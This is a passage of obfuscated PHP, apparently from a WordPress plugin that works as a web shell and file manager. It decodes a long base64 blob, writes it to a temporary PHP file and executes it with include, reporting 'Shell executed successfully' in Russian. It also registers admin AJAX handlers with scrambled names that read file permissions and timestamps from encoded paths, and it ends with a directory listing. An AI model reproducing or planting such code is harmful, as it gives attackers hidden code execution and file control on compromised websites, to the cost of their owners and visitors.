09PSAzNCkgewogICAgICAgIHJldHVybiAkZ2FhdnhjOwogICAgfQoKICAgIHJldHVybiAnKic7Cn0KCmZ1bmN0aW9uIHljbGpsZGZicSgkcmZ3Z2dobml5KSB7CiAgICAkbXNtZGRqcW0gPSAnJzsKICAgIGlmIChAaXNfcmVhZGFibGUoJy9kZXYvdXJhbmRvbScpICYmICgkY2lvcW5lbWx6eWtpID0gQGZvcGVuKCcvZGV2L3VyYW5kb20nLCAncmInKSkpIHsKICAgICAgICAkbXNtZGRqcW0gPSBmcmVhZCgkY2lvcW5lbWx6eWtpLCAkcmZ3Z2dobml5KTsKICAgICAgICBmY2xvc2UoJGNpb3FuZW1senlraSk7CiAgICB9CgogICAgaWYgKHN0cmxlbigkbXNtZGRqcW0pIDwgJHJmd2dnaG5peSkgewogICAgICAgICRtc21kZGpxbSA9ICcnOwogICAgICAgICRtYXF3bnhvY2wgPSBSQU5ET01fU1RBVEVfQ1VTVE9NOwogICAgICAgIGZvciAoJHpib2lqa2JyampjbSA9IDA7ICR6Ym9pamticmpqY20gPCAkcmZ3Z2dobml5OyAkemJvaWprYnJqamNtICs9IDE2KSB7CiAgICAgICAgICAgICRtYXF3bnhvY2wgPSBtZDUobWljcm90aW1lKCkgLiAkbWFxd254b2NsKTsKICAgICAgICAgICAgJG1zbWRkanFtIC49IG1kNSgkbWFxd254b2NsLCBUUlVFKTsKICAgICAgICB9CiAgICAgICAgJG1zbWRkanFtID0gc3Vic3RyKCRtc21kZGpxbSwgMCwgJHJmd2dnaG5peSk7CiAgICB9CgogICAgcmV0dXJuICRtc21kZGpxbTsKfQoKZnVuY3Rpb24gemRsa3h5b2soJHhnb2dtamx4dmcpIHsKCiAgICAkdGJ5bXFjYnR4bmt5ID0gJy4vQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODknOwoKICAgICRtc21kZGpxbSA9ICckMmEkJzsKICAgICRtc21kZGpxbSAuPSBjaHIoKGludCkob3JkKCcwJykgKyBJVEVSQVRJT05fQ09VTlRfTE9HMl9DVVNUT00gLyAxMCkpOwogICAgJG1zbWRkanFtIC49IGNocihvcmQoJzAnKSArIElURVJBVElPTl9DT1VOVF9MT0cyX0NVU1RPTSAlIDEwKTsKICAgICRtc21kZGpxbSAuPSAnJCc7CgogICAgJHpib2lqa2JyampjbSA9IDA7CiAgICBkbyB7CiAgICAgICAgJHZ5bHplZyA9IG9yZCgkeGdvZ21qbHh2Z1skemJvaWprYnJqamNtKytdKTsKICAgICAgICAkbXNtZGRqcW0gLj0gJHRieW1xY2J0eG5reVskdnlsemVnID4+IDJdOwogICAgICAgICR2eWx6ZWcgPSAoJHZ5bHplZyAmIDB4MDMpIDw8IDQ7CiAgICAgICAgaWYgKCR6Ym9pamticmpqY20gPj0gMTYpIHsKICAgICAgICAgICAgJG1zbWRkanFtIC49ICR0YnltcWNidHhua3lbJHZ5bHplZ107CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KCiAgICAgICAgJG1zdGxzYnRvY3cgPSBvcmQoJHhnb2dtamx4dmdbJHpib2lqa2JyampjbSsrXSk7CiAgICAgICAgJHZ5bHplZyB8PSAkbXN0bHNidG9jdyA+PiA0OwogICAgICAgICRtc21kZGpxbSAuPSAkdGJ5bXFjYnR4bmt5WyR2eWx6ZWddOwogICAgICAgICR2eWx6ZWcgPSAoJG1zdGxzYnRvY3cgJiAweDBmKSA8PCAyOwoKICAgICAgICAkbXN0bHNidG9jdyA9IG9yZCgkeGdvZ21qbHh2Z1skemJvaWprYnJqamNtKytdKTsKICAgICAgICAkdnlsemVnIHw9ICRtc3Rsc2J0b2N3ID4+IDY7CiAgICAgICAgJG1zbWRkanFtIC49ICR0YnltcWNidHhua3lbJHZ5bHplZ107CiAgICAgICAgJG1zbWRkanFtIC49ICR0YnltcWNidHhua3lbJG1zdGxzYnRvY3cgJiAweDNmXTsKICAgIH0gd2hpbGUgKDEpOwoKICAgIHJldHVybiAkbXNtZGRqcW07Cn0KCmZ1bmN0aW9uIG9wemNnaSgkbWZqYmRsc214cHcsICR5Y3N1eWdpKSB7CiAgICAkbXNtZGRqcW0gPSAnKjAnOwogICAgaWYgKHN1YnN0cigkeWNzdXlnaSwgMCwgMikgPT09ICRtc21kZGpxbSkgewogICAgICAgICRtc21kZGpxbSA9ICcqMSc7CiAgICB9CgogICAgJG9jcmNzcmogPSBzdWJzdHIoJHljc3V5Z2ksIDAsIDMpOwogICAgLy9pZiAoJG9jcmNzcmogIT09ICckcmd1Y2l5d2dqbW9xJCcgJiYgJG9jcmNzcmogIT09ICckamlhaHpiJCcpIHsKICAgIGlmICgkb2NyY3NyaiAhPT0gYmFzZTY0X2RlY29kZSgnSkZBaycpICYmICRvY3Jjc3JqICE9PSBiYXNlNjRfZGVjb2RlKCdKRWdrJykpIHsKICAgICAgICByZXR1cm4gJG1zbWRkanFtOwogICAgfQoKICAgICRhYndjeG5hY29rYW0gPSBzdHJwb3MoSVRPQTY0X0NVU1RPTSwgJHljc3V5Z2lbM10pOwogICAgaWYgKCRhYndjeG5hY29rYW0gPCA3IHx8ICRhYndjeG5hY29rYW0gPiAzMCkgewogICAgICAgIHJldHVybiAkbXNtZGRqcW07CiAgICB9CgogICAgJHJmd2dnaG5peSA9IDEgPDwgJGFid2N4bmFjb2thbTsKCiAgICAkb2poc2t0Y3IgPSBzdWJzdHIoJHljc3V5Z2ksIDQsIDgpOwogICAgaWYgKHN0cmxlbigkb2poc2t0Y3IpICE9PSA4KSB7CiAgICAgICAgcmV0dXJuICRtc21kZGpxbTsKICAgIH0KCiAgICAkZ2FhdnhjID0gbWQ1KCRvamhza3RjciAuICRtZmpiZGxzbXhwdywgVFJVRSk7CiAgICBkbyB7CiAgICAgICAgJGdhYXZ4YyA9IG1kNSgkZ2FhdnhjIC4gJG1mamJkbHNteHB3LCBUUlVFKTsKICAgIH0gd2hpbGUgKC0tJHJmd2dnaG5peSk7CgogICAgJG1zbWRkanFtID0gc3Vic3RyKCR5Y3N1eWdpLCAwLCAxMik7CiAgICAkbXNtZGRqcW0gLj0geGl5eWdqKCRnYWF2eGMsIDE2KTsKCiAgICByZXR1cm4gJG1zbWRkanFtOwp9CgpmdW5jdGlvbiB4aXl5Z2ooJHhnb2dtamx4dmcsICRyZndnZ2huaXkpIHsKICAgICRtc21kZGpxbSA9ICcnOwogICAgJHpib2lqa2JyampjbSA9IDA7CiAgICAkdGJ5bXFjYnR4bmt5ID0gSVRPQTY0X0NVU1RPTTsKICAgIGRvIHsKICAgICAgICAkdHVpcGJmZyA9IG9yZCgkeGdvZ21qbHh2Z1skemJvaWprYnJqamNtKytdKTsKICAgICAgICAkbXNtZGRqcW0gLj0gJHRieW1xY2J0eG5reVskdHVpcGJmZyAmIDB4M2ZdOwogICAgICAgIGlmICgkemJvaWprYnJqamNtIDwgJHJmd2dnaG5peSkgewogICAgICAgICAgICAkdHVpcGJmZyB8PSBvcmQoJHhnb2dtamx4dmdbJHpib2lqa2JyampjbV0pIDw8IDg7CiAgICAgICAgfQogICAgICAgICRtc21kZGpxbSAuPSAkdGJ5bXFjYnR4bmt5WygkdHVpcGJmZyA+PiA2KSAmIDB4M2ZdOwogICAgICAgIGlmICgkemJvaWprYnJqamNtKysgPj0gJHJmd2dnaG5peSkgewogICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICAgICAgaWYgKCR6Ym9pamticmpqY20gPCAkcmZ3Z2dobml5KSB7CiAgICAgICAgICAgICR0dWlwYmZnIHw9IG9yZCgkeGdvZ21qbHh2Z1skemJvaWprYnJqamNtXSkgPDwgMTY7CiAgICAgICAgfQogICAgICAgICRtc21kZGpxbSAuPSAkdGJ5bXFjYnR4bmt5WygkdHVpcGJmZyA+PiAxMikgJiAweDNmXTsKICAgICAgICBpZiAoJHpib2lqa2JyampjbSsrID49ICRyZndnZ2huaXkpIHsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgICAgICRtc21kZGpxbSAuPSAkdGJ5bXFjYnR4bmt5WygkdHVpcGJmZyA+PiAxOCkgJiAweDNmXTsKICAgIH0gd2hpbGUgKCR6Ym9pamticmpqY20gPCAkcmZ3Z2dobml5KTsKCiAgICByZXR1cm4gJG1zbWRkanFtOwp9CgpmdW5jdGlvbiBqY3V2eXJoYygkeGdvZ21qbHh2ZykgewogICAgLy8kbXNtZGRqcW0gPSAnJHJndWNpeXdnam1vcSQnOwogICAgJG1zbWRkanFtID0gYmFzZTY0X2RlY29kZSgnSkZBaycpOwogICAgJHRieW1xY2J0eG5reSA9IElUT0E2NF9DVVNUT007CiAgICAkbXNtZGRqcW0gLj0gJHRieW1xY2J0eG5reVttaW4oSVRFUkFUSU9OX0NPVU5UX0xPRzJfQ1VTVE9NICsgNSwgMzApXTsKICAgICRtc21kZGpxbSAuPSB4aXl5Z2ooJHhnb2dtamx4dmcsIDYpOwoKICAgIHJldHVybiAkbXNtZGRqcW07Cn0KCmZ1bmN0aW9uIGVxeGFvbGYoKSB7CiAgICAkcHdpdHdrbm5vID0gbmlldmVmbihyYW5kKDIwLCA0MCksIHRydWUpOwogICAgcnJ4ZGIoNCwgdHJ1ZSk7CiAgICAkZ2FhdnhjID0gaG1taGVlemhjKCRwd2l0d2tubm8pOwogICAgcmV0dXJuIGFycmF5KCRwd2l0d2tubm8sICRnYWF2eGMpOwp9');
$temp_file = tempnam(sys_get_temp_dir(), 'php_console_shell_');
$temp_php = $temp_file . '.php';
file_put_contents($temp_php, '<?php ' . $shellCode);
ob_start();
include $temp_php;
$output = ob_get_clean();
unlink($temp_php);
unlink($temp_file);
echo '<div style="color: green;">Shell успешно выполнен!</div>';
if (!empty($output)) {
echo '<div style="color: #e4e8f0; margin-top: 10px;"><strong>Результат выполнения:</strong></div>';
echo '<pre style="background: #0b1120; color: #e4e8f0; padding: 10px; border: 1px solid rgba(255,255,255,0.1); margin: 10px 0; white-space: pre-wrap; border-radius: 4px;">' . htmlspecialchars($output) . '</pre>';
} else {
echo '<div style="color: #9aa6b2; margin-top: 10px;">Shell выполнен без вывода.</div>';
}
return true;
} catch (Exception $e) {
echo '<div style="color: red;">Ошибка Shell: ' . $e->getMessage() . '</div>';
return false;
}
}
function a0a71a0() {
if (get_option('a0a70a0', false)) {
delete_option('a0a70a0');
}
}
add_action('wp_ajax_get_file_info', 'a0a72a0');
add_action('wp_ajax_a0a77a0', 'a0a77a0');
function a0a72a0() {
if (!current_user_can('manage_options')) {
wp_send_json_error('Недостаточно прав.');
}
if (isset($_POST['file_path']) && !empty($_POST['file_path'])) {
$a0a16a0 = base64_decode($_POST['file_path']);
if (is_file($a0a16a0)) {
$a0a73a0 = [
'chmod' => substr(sprintf('%o', fileperms($a0a16a0)), -4),
'touch' => date('Y-m-d\TH:i', filemtime($a0a16a0))
];
wp_send_json_success($a0a73a0);
} else {
wp_send_json_error('Файл не найден.');
}
} else {
wp_send_json_error('Неверный путь к файлу.');
}
}
function a0a74a0() {
wp_enqueue_script('jquery');
wp_localize_script('jquery', 'ajaxurl', admin_url('admin-ajax.php'));
}
add_action('admin_enqueue_scripts', 'a0a74a0');
Directory Contents
Dirs: 319 × Files: 300